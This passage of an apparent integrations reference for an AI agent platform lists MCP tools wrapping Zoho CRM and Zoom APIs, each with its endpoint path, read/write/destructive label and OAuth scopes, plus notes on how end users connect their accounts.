object including the required fields such as email, role, profile, and first name. POST /api/v1/zohocrm/users. Scopes: ZohoCRM.users.CREATE. zohocrm_post_users_actions_transfer_and_delete (write) — Transfer and delete a user. Transfer user records, assignments, and criteria to another user POST /api/v1/zohocrm/users/actions/transfer_and_delete. Scopes: ZohoCRM.users.UPDATE. zohocrm_post_users_by_userid_actions_transfer (write) — Transfer a user. Transfer user records, assignments, and criteria to another user POST /api/v1/zohocrm/users/{userId}/actions/transfer. Scopes: ZohoCRM.change_owner.CREATE. zohocrm_post_users_by_userid_actions_transfer_and_delete (write) — Transfer and delete a user. Transfer user records, assignments, and criteria to another user POST /api/v1/zohocrm/users/{userId}/actions/transfer_and_delete. Scopes: ZohoCRM.users.UPDATE. zohocrm_post_write (write) — Create a bulk write job. To create a bulk write job in your Zoho CRM organization that creates, updates, or upserts records in a target module from a previously uploaded file. The job is processed asynchronously; the response returns the job identifier that the get job details operation uses to poll job status, and an optional callback URL is... POST /api/v1/zohocrm/write. Scopes: ZohoCRM.bulk.CREATE. zohocrm_post_zia_org_enrichment (write) — Trigger organization-level enrichment for a CRM record. To submit a request that schedules a Zia organization enrichment job in your Zoho CRM organization. The job runs asynchronously and uses the supplied name, email, or website to retrieve publicly available details such as address, primary contact, industries, and social media handles, and to populate the configured... POST /api/v1/zohocrm/__zia_org_enrichment. Scopes: ZohoCRM.settings.ALL. zohocrm_put_actions_watch (write) — Update full notification details. To replace all properties of an existing notification channel in your Zoho CRM organization. PUT /api/v1/zohocrm/actions/watch. Scopes: ZohoCRM.notifications.ALL, ZohoCRM.notifications.UPDATE. zohocrm_put_appointments_s (write) — Update appointment records. To update one or more appointment records in your Zoho CRM organization. You can update a maximum of 100 appointments per API call. PUT /api/v1/zohocrm/Appointments__s. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_appointments_s_by_appointmentid (write) — Update an Appointment Record by ID. To update a single appointment record by its ID in your Zoho CRM organization. PUT /api/v1/zohocrm/Appointments__s/{appointmentId}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_module (write) — Update records in a specified module. Updates one or more existing records in the specified module in your Zoho CRM organization. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve the module API name and the [Get Fields Metadata API](fields.yaml#$.paths./settings/fields.get) to retrieve the field API names. A maximum of 100... PUT /api/v1/zohocrm/{module}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_module_by_dealid_contact_roles (write) — Deal Contact Roles. Add contact roles to a deal or update existing contact role relations in bulk. PUT /api/v1/zohocrm/{module}/{dealId}/Contact_Roles. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_module_by_dealid_contact_roles_by_contactid (write) — Deal Contact Roles. Assign or update a contact role for a specific contact on a deal. PUT /api/v1/zohocrm/{module}/{dealId}/Contact_Roles/{contactId}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_module_by_record_email_drafts (write) — Update Email Drafts for a Record. Updates one or more email drafts associated with the specified record in the given module. PUT /api/v1/zohocrm/{module}/{record}/__email_drafts. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_module_by_record_email_drafts_by_draft (write) — Update an Email Draft. Updates the specified email draft for the given record in the module. PUT /api/v1/zohocrm/{module}/{record}/__email_drafts/{draft}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_module_by_recordid (write) — Update a specific record by ID. To update the field values of a specific record in the specified module in your Zoho CRM organization. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve the module ID and API name. Use the [Get Fields Metadata API](fields.yaml#$.paths./settings/fields.get) to retrieve the field IDs and... PUT /api/v1/zohocrm/{module}/{recordId}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_moduleapiname_by_recordid_actions_share (write) — Update share permissions. To update the sharing permissions of a specific record in a module of your Zoho CRM organization. The update can change the access level, change the visibility between private and public, or alter whether related records are shared along with the record. PUT /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/share. Scopes: ZohoCRM.share.accounts.UPDATE, ZohoCRM.share.bundles.UPDATE, ZohoCRM.share.calls.UPDATE, ZohoCRM.share.campaigns.UPDATE, ZohoCRM.share.cases.UPDATE, ZohoCRM.share.contacts.UPDATE, ZohoCRM.share.custom.UPDATE, ZohoCRM.share.deals.UPDATE, ZohoCRM.share.events.UPDATE, ZohoCRM.share.invoices.UPDATE, ZohoCRM.share.leads.UPDATE, ZohoCRM.share.pricebooks.UPDATE, ZohoCRM.share.products.UPDATE, ZohoCRM.share.purchaseorders.UPDATE, ZohoCRM.share.quotes.UPDATE, ZohoCRM.share.salesorders.UPDATE, ZohoCRM.share.solutions.UPDATE, ZohoCRM.share.tasks.UPDATE, ZohoCRM.share.vendors.UPDATE. zohocrm_put_by_modulename_by_recordid_locking_information_s_by_lockid (write) — Update locking reason of a locked record. To update the locking reason of a locked record in the specified module of your Zoho CRM account. PUT /api/v1/zohocrm/{moduleName}/{recordId}/Locking_Information__s/{lockId}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_by_parentrecordmodule_by_parentrecord_by_relatedlist (write) — Update related records. To update multiple records associated with a parent record in a specified related list in your Zoho CRM organization. PUT /api/v1/zohocrm/{parentRecordModule}/{parentRecord}/{relatedList}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_parentrecordmodule_by_parentrecord_by_relatedlist_by_record (write) — Update a related record. To update the properties of a specific record associated with a parent record in your Zoho CRM organization. PUT /api/v1/zohocrm/{parentRecordModule}/{parentRecord}/{relatedList}/{record}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_by_parentrecordmodule_by_parentrecordid_notes (write) — Related Notes. Updates one or more notes associated with a specific CRM record in your Zoho CRM organization. Either note content or note title must be provided (at least one is mandatory) for each note. PUT /api/v1/zohocrm/{parentRecordModule}/{parentRecordId}/Notes. Scopes: ZohoCRM.modules.READ, ZohoCRM.modules.UPDATE. zohocrm_put_by_parentrecordmodule_by_parentrecordid_notes_by_noteid (write) — Related Note. Updates an existing note associated with a specific parent record. Either note content or note title must be provided (at least one is mandatory). PUT /api/v1/zohocrm/{parentRecordModule}/{parentRecordId}/Notes/{noteId}. Scopes: ZohoCRM.modules.READ, ZohoCRM.modules.UPDATE. zohocrm_put_contacts_roles (write) — Update Contact Roles. Updates the properties of one or more existing contact roles in your Zoho CRM organization. PUT /api/v1/zohocrm/Contacts/roles. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_contacts_roles_by_role (write) — Update a Contact Role. Updates a specific contact role by its unique identifier in your Zoho CRM organization. PUT /api/v1/zohocrm/Contacts/roles/{role}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_notes (write) — Update Notes. Updates one or more existing note records. Either note content or note title must be provided (at least one is mandatory) for each note. PUT /api/v1/zohocrm/Notes. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_notes_by_id (write) — Update a Specific Note. Updates a specific note by its ID. Either note content or note title must be provided (at least one is mandatory). PUT /api/v1/zohocrm/Notes/{id}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_org_currencies (write) — Update currencies. Updates one or more currencies other than the base currency. PUT /api/v1/zohocrm/org/currencies. Scopes: ZohoCRM.settings.ALL. zohocrm_put_org_currencies_actions_enable (write) — Update base currency. Update existing base currency details. PUT /api/v1/zohocrm/org/currencies/actions/enable. Scopes: ZohoCRM.settings.ALL. zohocrm_put_org_currencies_by_currency (write) — Currency. Update a specific currency by its unique ID. PUT /api/v1/zohocrm/org/currencies/{currency}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_services_s (write) — Update service records. To update one or more existing service records in your Zoho CRM organization. Each request can include up to 100 service objects identified by their record IDs; only the fields supplied in the payload are modified. PUT /api/v1/zohocrm/Services__s. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_services_s_by_id (write) — Update a specific service record by ID. To update a single service record in your Zoho CRM organization, identified by its unique ID. Only the fields supplied in the request payload are modified on the targeted service. PUT /api/v1/zohocrm/Services__s/{id}. Scopes: ZohoCRM.modules.UPDATE. zohocrm_put_settings_appointment_preferences (write) — Update Appointment Preferences. To update the appointment preference settings in your Zoho CRM organization, including booking constraints, job sheet requirements, deal creation configuration, and record-sharing settings. PUT /api/v1/zohocrm/settings/appointment_preferences. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_assignment_rules_by_id (write) — Update a Specific Assignment Rule. To update a single Assignment Rule in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/automation/assignment_rules/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_assignment_rules_by_id_actions_clone_entries (write) — Clone Assignment Rule Entries. To clone rule entries for a single Assignment Rule in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/automation/assignment_rules/{id}/actions/clone_entries. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_assignment_rules_by_id_actions_reorder_entries (write) — Reorder Assignment Rule entries. To reorder rule entries for a single Assignment Rule in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/automation/assignment_rules/{id}/actions/reorder_entries. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_cadences (write) — Update multiple Cadences (bulk form). Partial-update form that takes the cadence id inside the request body (cadences[0].id). Updates only the provided fields; module / type / custom_view cannot be changed after creation. Editing a currently-published cadence creates a draft on the first save. Follow-up add/update is expressed inline via the follow_ups... PUT /api/v1/zohocrm/settings/automation/cadences. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_cadences_by_id (write) — Cadence. Partial-update form that takes the cadence id from the URL path. Same body shape and semantics as the bulk PUT variant (see PUT /settings/automation/cadences). module / type / custom_view cannot be changed after creation. PUT /api/v1/zohocrm/settings/automation/cadences/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_field_updates_by_id (write) — Update Field Update. Updates an existing field update action identified by the path ID. Use the [Get Field Updates API](field_updates.yaml#$.paths./settings/automation/field_updates.get) to find the field update ID. Locked actions require the appropriate privilege, and read-only actions cannot be modified. For single-value fields, use a... PUT /api/v1/zohocrm/settings/automation/field_updates/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_scoring_rules (write) — Scoring Rules. Updates one or more scoring rules. Returns 200 (all success) or 207 (partial success). PUT /api/v1/zohocrm/settings/automation/scoring_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_scoring_rules_by_ruleid (write) — Update a scoring rules by ID. To update a specific Scoring Rule by its ID in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/automation/scoring_rules/{ruleId}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_scoring_rules_by_ruleid_actions_activate (write) — Activate a scoring rule. Activates an inactive scoring rule identified by ruleId, enabling it to start evaluating and scoring CRM records based on its configured criteria. PUT /api/v1/zohocrm/settings/automation/scoring_rules/{ruleId}/actions/activate. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_tasks (write) — Update an automation task definition by ID (full replacement). PURPOSE: Updates an existing automation task definition identified by the path parameter ID. PREREQUISITES: (1) Call GET /settings/automation/tasks/{id} to obtain the current task structure. (2) Call GET /settings/layouts?module=Tasks to verify supported fields and identify mandatory fields where required: true in the... PUT /api/v1/zohocrm/settings/automation/tasks. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_tasks_by_id (write) — Automation Task. PURPOSE: Updates an existing automation task definition identified by the path parameter ID. PREREQUISITES: (1) Call GET /settings/automation/tasks/{id} to obtain the current task structure. (2) Call GET /settings/layouts?module=Tasks to verify supported fields and identify mandatory fields where required: true in the... PUT /api/v1/zohocrm/settings/automation/tasks/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_webhooks (write) — Update webhooks. To update the configuration of an existing webhook in your Zoho CRM organization. The module field cannot be changed after creation. The request body must contain a webhooks array with exactly one webhook object. To retrieve valid module API names, refer to the [Get Modules](modules.yaml#$.paths./settings/modules.get)... PUT /api/v1/zohocrm/settings/automation/webhooks. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_webhooks_by_webhookid (write) — Update webhook by ID. To update the configuration of a specific webhook in your Zoho CRM organization using its ID. The module field cannot be changed after webhook creation. Read-only webhooks created by Marketplace extensions cannot be updated. PUT /api/v1/zohocrm/settings/automation/webhooks/{webhookId}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_workflow_rules (write) — Update workflow rules by ID in the request body. To update one or more existing workflow rules in your Zoho CRM organization, submit a workflow_rules array in the request body with each entry containing the rule's id. You can modify a rule's name, description, criteria, conditions, actions, and active status. Triggers may be updated only within the same trigger type... PUT /api/v1/zohocrm/settings/automation/workflow_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_workflow_rules_actions_reorder (write) — Update Workflow Rule Execution Order for Module. To update the execution order of workflow rules for a specific module in your Zoho CRM organization. By default, rules execute in the order in which they were created. If any of the specified rule IDs are invalid, the entire request fails and no partial updates are applied. PUT /api/v1/zohocrm/settings/automation/workflow_rules/actions/reorder. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_automation_workflow_rules_by_id (write) — Update Workflow Rule by ID. To update an existing workflow rule in your Zoho CRM organization, use this operation with the rule's unique ID. You can modify the rule's name, description, triggers, criteria, conditions, and actions, or activate and deactivate the rule. Use the [Get Workflow Rules... PUT /api/v1/zohocrm/settings/automation/workflow_rules/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_business_hours (write) — Business Hours Configuration. Updates the existing business hours configuration with revised working days, operating hours, or timezone settings. PUT /api/v1/zohocrm/settings/business_hours. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_business_hours_shift_hours (write) — Update shift hours. Updates one or more shift hour configurations for the organization. Each entry in shift_hours identifies the shift hour to update and the fields to change, such as the time zone, active days, timing, break windows, holidays, or user assignments. The updated timing must fall within the configured business hours. PUT /api/v1/zohocrm/settings/business_hours/shift_hours. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_business_hours_shift_hours_by_shift (write) — Update a shift hour. Updates the configuration of the shift hour identified by the shift path parameter. The request body specifies the fields to change, such as the time zone, active days, timing, break windows, holidays, or user assignments. The updated timing must fall within the configured business hours. PUT /api/v1/zohocrm/settings/business_hours/shift_hours/{shift}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_call_preferences (write) — Call Preferences. To update the Call Preferences configuration for your Zoho CRM organization by enabling or disabling the From Number and To Number fields on records in the Calls module. A preference cannot be disabled when the corresponding field is marked as mandatory, when it is referenced by a Validation Rule, Layout Rule... PUT /api/v1/zohocrm/settings/call_preferences. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_custom_views (write) — Custom Views. To update the configuration of one or more Custom Views in bulk for a specified module in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/custom_views. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_custom_views_actions_change_sort (write) — Sort Order. To change the sort field and sort order for one or more Custom Views in the specified module of your Zoho CRM organization. PUT /api/v1/zohocrm/settings/custom_views/actions/change_sort. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_custom_views_by_id (write) — CustomView update. To update the configuration of a specific Custom View in a module of your Zoho CRM organization, using the Custom View ID. Use the [Get Custom Views API](custom_views.yaml#$.paths./settings/custom_views.get) to retrieve the custom view IDs. PUT /api/v1/zohocrm/settings/custom_views/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_custom_views_by_id_actions_change_sort (write) — Sort Order by ID. To change the sort field and sort order for a specific Custom View in the specified module of your Zoho CRM organization. Use the [Get Custom Views Metadata API](custom_views.yaml#$.paths./settings/custom_views.get) to retrieve the custom view IDs.' PUT /api/v1/zohocrm/settings/custom_views/{id}/actions/change_sort. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_data_sharing (write) — Data Sharing Settings. To update your organization's default data-sharing permissions for modules. You can modify data-sharing access for both system-defined and custom modules. PUT /api/v1/zohocrm/settings/data_sharing. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_duplicate_check_preference (write) — Update Duplicate Check Preference PUT /api/v1/zohocrm/settings/duplicate_check_preference. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_fiscal_year (write) — Update Fiscal Year Settings. Updates the fiscal year configuration for the organization. Only administrators can update fiscal year settings. PUT /api/v1/zohocrm/settings/fiscal_year. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_holidays (write) — Multiple Holidays. To update one or more existing holiday records in Zoho CRM by providing each holiday ID with the updated field values. PUT /api/v1/zohocrm/settings/holidays. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_holidays_by_holidayid (write) — A specific holiday. To update the name or date of a specific holiday record in Zoho CRM using its unique identifier. PUT /api/v1/zohocrm/settings/holidays/{holidayId}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_layouts_by_layoutid_map_dependency_by_dependencyid (write) — Update an existing field dependency. Updates the picklist value mappings for an existing field dependency. Use '_delete ': null to remove specific mappings. PUT /api/v1/zohocrm/settings/layouts/{layoutId}/map_dependency/{dependencyId}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_modules (write) — Update CRM modules. Updates existing modules in the CRM. Allows modification of module labels (singular_label, plural_label) and profile assignments. Supports batch updates of up to 100 modules per request. Returns 200 when all modules update successfully, or 207 Multi-Status when some succeed and others fail. Module access_type cannot... PUT /api/v1/zohocrm/settings/modules. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_modules_by_moduleidentifier (write) — Update Module Labels and Profiles. Updates the singular label, plural label, and profile assignments for the module identified by {moduleIdentifier}. Immutable fields such as access_type and api_name cannot be changed; attempting to include them returns a NOT_ALLOWED error PUT /api/v1/zohocrm/settings/modules/{moduleIdentifier}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_pipeline (write) — Pipeline. Update, or delete a pipeline for the specified layout using the supplied pipeline configuration in the request body. PUT /api/v1/zohocrm/settings/pipeline. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_pipeline_by_pipelineidentifier (write) — Pipeline. Update or replace a specific pipeline identified by the path ID for the specified layout. PUT /api/v1/zohocrm/settings/pipeline/{pipelineIdentifier}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_portals_by_portal (write) — Portal. To update the configuration of an existing portal in the Zoho CRM organization, including the portal name and SAML single sign-on settings. PUT /api/v1/zohocrm/settings/portals/{portal}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_portals_by_portal_user_type_by_usertype_users_actions_change_status (write) — Portal User Status. To activate or deactivate multiple portal users in bulk in your Zoho CRM organization for the specified portal and user type. PUT /api/v1/zohocrm/settings/portals/{portal}/user_type/{userType}/users/actions/change_status. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_portals_by_portal_user_type_by_usertype_users_by_recordid_actions_change_status (write) — Change status of portal users. Changing portal users status. PUT /api/v1/zohocrm/settings/portals/{portal}/user_type/{userType}/users/{recordId}/actions/change_status. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_portals_by_portal_user_type_by_usertypeid (write) — Portal User Type. Updates the configuration of an existing portal user type. You can modify module-level access settings, including shared type, allowed layouts, filter fields, and field-level permissions. PUT /api/v1/zohocrm/settings/portals/{portal}/user_type/{userTypeId}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_profiles_by_id (write) — Specific Profile. Replaces the name, description, and permission enablement for the profile identified by {id}. System profiles (Administrator, Standard) cannot be updated. See [Update Profile Permission](https://www.zoho.com/crm/developer/docs/api/v8/update-profile-permission.html). PUT /api/v1/zohocrm/settings/profiles/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_record_locking_configurations (write) — Update record locking configuration. Updates an existing record locking configuration for the specified module. You can modify any of the configuration settings. PUT /api/v1/zohocrm/settings/record_locking_configurations. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_record_locking_configurations_by_id (write) — Update specific record locking configuration. Updates an existing record locking configuration for the specified module using the configuration ID provided in the URL path. PUT /api/v1/zohocrm/settings/record_locking_configurations/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_roles (write) — Update a role. Updates an existing role in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/roles. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_roles_by_role (write) — Update a role. Updates a single role, specified by its ID in the URL. PUT /api/v1/zohocrm/settings/roles/{role}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_service_preferences (write) — Update service preferences. Updates the service preference settings of the organization. Use this API to enable or disable the job sheet, which controls whether a job sheet can be generated for a service appointment once the appointment is marked complete. PUT /api/v1/zohocrm/settings/service_preferences. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_tags (write) — Tags. To update an existing tag in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/tags. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_tags_by_id (write) — Update tag by ID. To update the details of a specific tag by its ID in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/tags/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_territories (write) — Update territories. To update the details of one or more territories in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/territories. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_territories_by_id (write) — Update a specific territory by its ID. To update the details of a specific territory by its unique ID in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/territories/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_territories_by_territory_users (write) — Territory Users. To associate one or more users with a territory in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/territories/{territory}/users. Scopes: ZohoCRM.settings.ALL, ZohoCRM.users.ALL. zohocrm_put_settings_territories_by_territory_users_by_user (write) — Territory User. To associate a specific user with a territory in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/territories/{territory}/users/{user}. Scopes: ZohoCRM.settings.ALL, ZohoCRM.users.ALL. zohocrm_put_settings_unsubscribe_links (write) — Update Unsubscribe Links. To update one or more unsubscribe links in bulk. You can modify the link's name, page type, custom URL, standard page message, submission action type, redirect URL, or submission message. PUT /api/v1/zohocrm/settings/unsubscribe_links. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_unsubscribe_links_by_id (write) — Update Unsubscribe Link by ID. To update a specific unsubscribe link. You can modify the link's name, page type, custom URL, standard page message, submission action type, redirect URL, or submission message. PUT /api/v1/zohocrm/settings/unsubscribe_links/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_user_groups_by_group (write) — Update a user group. To update the name, description, and member sources of an existing user group in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/user_groups/{group}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_variable_groups (write) — Variable Groups. To update the details of one or more variable groups in your Zoho CRM organization. The request accepts a maximum of 10 variable group items. When individual items succeed or fail independently, the API returns a 207 multi-status response with per-item results. PUT /api/v1/zohocrm/settings/variable_groups. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_variable_groups_by_id (write) — Update variable group by ID. To update the details of a specific variable group by its ID in your Zoho CRM organization. PUT /api/v1/zohocrm/settings/variable_groups/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_variables (write) — Update variables. Updates one or more CRM variables in a single request. The id key is mandatory in the request body to identify each variable. You cannot update the type or variable group of a variable. Requires the ZohoCRM.settings.variables.UPDATE scope. PUT /api/v1/zohocrm/settings/variables. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_variables_by_id (write) — Specific variable. Updates a specific CRM variable identified by its ID or API name. You cannot update the type or variable group of the variable. For the list of updatable input keys, refer to the Create Variables operation. Requires the ZohoCRM.settings.variables.UPDATE scope. PUT /api/v1/zohocrm/settings/variables/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_put_settings_zia_data_enrichment_by_id (write) — Update Zia Enrichment Configurations for a specific module. Updates Zia Enrichment Configurations for a specific module by ID. Use the [Get Fields Metadata API](fields.yaml#$.paths./settings/fields.get) to get CRM field IDs and API names, and the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to get module IDs and API names. PUT /api/v1/zohocrm/settings/zia/data_enrichment/{id}. Scopes: ZohoCRM.zia.enrichment.UPDATE. zohocrm_put_users (write) — Update users. To update the details of one or more users in your Zoho CRM organization. The request must include a users array with up to 10 user records, each identified by a unique user ID. You can update user profile settings, role assignments, locale preferences, and other account details. PUT /api/v1/zohocrm/users. Scopes: ZohoCRM.users.UPDATE. zohocrm_put_users_by_user (write) — Update a single user by user ID. To update the details of a specific user in your Zoho CRM organization by user ID. PUT /api/v1/zohocrm/users/{user}. Scopes: ZohoCRM.users.UPDATE. zohocrm_put_users_by_user_territories (write) — Add territories to a user. To associate one or more territories with a specific user in your Zoho CRM organization. PUT /api/v1/zohocrm/users/{user}/territories. Scopes: ZohoCRM.settings.ALL, ZohoCRM.users.UPDATE. ================================================================================ ## Zoom URL: https://www.agenticfabriq.com/integrations/zoom Section: Integrated Tools Zoom — 62 MCP tools Provider key: zoom. Scopes: cloud_recording:delete:meeting_recording, cloud_recording:delete:recording_file, cloud_recording:read:list_recording_files, cloud_recording:read:list_user_recordings, contact:read:list_contacts, marketplace:read:app, marketplace:read:custom_fields, marketplace:read:list_user_app_requests, marketplace:read:list_user_entitlements, meeting:delete:meeting, meeting:read:list_meetings, meeting:read:list_past_instances, meeting:read:list_past_participants, meeting:read:meeting, meeting:read:summary, meeting:update:meeting, meeting:write:meeting, meeting:write:registrant, user:read:list_collaboration_devices, user:read:settings, user:read:user, whiteboard:delete:collaborator, whiteboard:delete:content, whiteboard:delete:project, whiteboard:delete:project_collaborator, whiteboard:delete:project_whiteboard, whiteboard:delete:whiteboard, whiteboard:delete:whiteboard_classification, whiteboard:read:archived_file, whiteboard:read:content, whiteboard:read:export, whiteboard:read:file, whiteboard:read:import, whiteboard:read:list_classification_labels, whiteboard:read:list_collaborators, whiteboard:read:list_projects, whiteboard:read:list_sessions, whiteboard:read:list_whiteboards, whiteboard:read:project, whiteboard:read:project_collaborator, whiteboard:read:session, whiteboard:read:subproject, whiteboard:read:whiteboard, whiteboard:update:collaborator, whiteboard:update:project, whiteboard:update:project_collaborator, whiteboard:update:share_setting, whiteboard:update:whiteboard_classification, whiteboard:write:collaborator, whiteboard:write:content, whiteboard:write:export, whiteboard:write:import, whiteboard:write:project, whiteboard:write:project_collaborator, whiteboard:write:project_whiteboard, whiteboard:write:subproject, whiteboard:write:whiteboard. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. zoom_delete_meetings_by_meetingid (write, destructive) — Meeting delete via DELETE /meetings/{meetingId} DELETE /api/v1/zoom/meetings/{meetingId}. Scopes: meeting:delete:meeting. zoom_delete_meetings_by_meetingid_recordings (write, destructive) — Recording delete via DELETE /meetings/{meetingId}/recordings DELETE /api/v1/zoom/meetings/{meetingId}/recordings. Scopes: cloud_recording:delete:meeting_recording. zoom_delete_meetings_by_meetingid_recordings_by_recordingid (write, destructive) — Recording delete one via DELETE /meetings/{meetingId}/recordings/{recordingId} DELETE /api/v1/zoom/meetings/{meetingId}/recordings/{recordingId}. Scopes: cloud_recording:delete:recording_file. zoom_delete_whiteboards_by_whiteboardid (write, destructive) — Delete a whiteboard via DELETE /whiteboards/{whiteboardId} DELETE /api/v1/zoom/whiteboards/{whiteboardId}. Scopes: whiteboard:delete:whiteboard. zoom_delete_whiteboards_by_whiteboardid_classification (write, destructive) — Remove whiteboard classification via DELETE /whiteboards/{whiteboardId}/classification DELETE /api/v1/zoom/whiteboards/{whiteboardId}/classification. Scopes: whiteboard:delete:whiteboard_classification. zoom_delete_whiteboards_by_whiteboardid_collaborator_by_collaboratorid (write, destructive) — Delete a whiteboard collaborator via DELETE /whiteboards/{whiteboardId}/collaborator/{collaboratorId} DELETE /api/v1/zoom/whiteboards/{whiteboardId}/collaborator/{collaboratorId}. Scopes: whiteboard:delete:collaborator. zoom_delete_whiteboards_by_whiteboardid_content (write, destructive) — Delete whiteboard content via DELETE /whiteboards/{whiteboardId}/content DELETE /api/v1/zoom/whiteboards/{whiteboardId}/content. Scopes: whiteboard:delete:content. zoom_delete_whiteboards_projects_by_projectid (write, destructive) — Deleteproject via DELETE /whiteboards/projects/{projectId} DELETE /api/v1/zoom/whiteboards/projects/{projectId}. Scopes: whiteboard:delete:project. zoom_delete_whiteboards_projects_by_projectid_collaborators_by_collaboratorid (write, destructive) — Removethecollaboratorfromaproject via DELETE /whiteboards/projects/{projectId}/collaborators/{collaboratorId} DELETE /api/v1/zoom/whiteboards/projects/{projectId}/collaborators/{collaboratorId}. Scopes: whiteboard:delete:project_collaborator. zoom_delete_whiteboards_projects_by_projectid_whiteboards (write, destructive) — Removewhiteboardsfromaproject via DELETE /whiteboards/projects/{projectId}/whiteboards DELETE /api/v1/zoom/whiteboards/projects/{projectId}/whiteboards. Scopes: whiteboard:delete:project_whiteboard. zoom_get_contacts (read) — Search company contacts via GET /contacts GET /api/v1/zoom/contacts. Scopes: contact:read:list_contacts. zoom_get_marketplace_app_custom_fields (read) — Get custom field values via GET /marketplace/app/custom_fields GET /api/v1/zoom/marketplace/app/custom_fields. Scopes: marketplace:read:custom_fields. zoom_get_marketplace_apps_by_appid (read) — Get app info via GET /marketplace/apps/{appId} GET /api/v1/zoom/marketplace/apps/{appId}. Scopes: marketplace:read:app. 